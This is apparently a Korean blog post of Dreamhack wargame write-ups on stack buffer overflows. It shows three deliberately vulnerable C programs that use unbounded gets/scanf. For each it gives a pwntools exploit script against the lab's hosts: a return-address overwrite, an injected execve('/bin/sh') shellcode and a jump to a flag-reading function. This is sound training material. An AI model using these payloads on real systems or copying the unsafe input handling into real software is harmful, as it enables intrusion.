[Dreamhack] Systemhacking - Stack Buffer Overflow

chrmqgozj·2024년 12월 30일

DreamHack

목록 보기
2/39

가장 많이 들었고, 그나마 이해를 하고 있는 영역이다.

  1. Stack Buffer Overflow: 스택의 버퍼에서 발생하는 오버플로우
    Buffer: 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소
    Buffer Overflow: 할당된 버퍼의 크기를 넘어서 데이터 저장 -> 다른 버퍼에 영향을 줄 수 있음

-> 중요 데이터 변조, 데이터 유출, 실행 흐름 조작(반환 주소 조작)

  1. Return Address Overwrite
    2.1. rao.c
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

저 get_shell() 함수 주소를 main의 return address로 채워넣으면 된다.

2.2 스택 프레임

buffer에 0x28 + 0x8만큼 채우고, 그 뒤에 get_shell 함수의 주소를 채우면 된다.

실제는 0x30 + 0x8

2.3. get_shell()의 주소

get_shell 주소 = 0x4006aa

2.4. exploit

from pwn import *

p = remote("host3.dreamhack.games", 22688)
#p = process("./rao")

s = b"A" * 0x38 + b"\xaa\x06\x40\x00\x00\x00\x00\x00"

p.sendlineafter("Input: ", s)

p.interactive()
  1. basic_exploitation_000
    3.1. basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

이 코드에서는 buf 주소를 출력해준다.

3.2. buffer 위치

ebp-0x80에 위치한다.

그런데 문제는 scanf가 받아올 수 있는 값이 141로 고정되어 있다.
그러면 일단 0x88위치에는 buf의 주소를 입력해서 리턴을 buf로 하도록 유도하고
buf에 쉘코드를 저장하자.

쉘코드 = \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 (일반 25바이트 쓰면 scanf가 인식을 못한다고 한다.)

3.3. exploit.py

from pwn import *

#p = process("./basic_exploitation_000")
p = remote("host1.dreamhack.games", 13458)

p.recvuntil("buf = (")
addr = int(p.recvline()[:-2], 16)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

shellcode += b"A" * (0x84 - len(shellcode)) + p32(addr)
p.sendline(shellcode)

p.interactive()
  1. basic_exploitation_001
    4.1. basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

이번에는 read_flag()를 실행해야 하나 본데?

4.2. buf 위치, read_flag() 주소

buf: ebp-0x80
read_flag: 0x80485b9

4.3. exploit.py

from pwn import *

#p = process("./basic_exploitation_001")
p = remote("host1.dreamhack.games", 23350)

addr = b"\xb9\x85\x04\x08"

shellcode = b"A" * 0x84 + addr

p.sendline(shellcode)

p.interactive()

0개의 댓글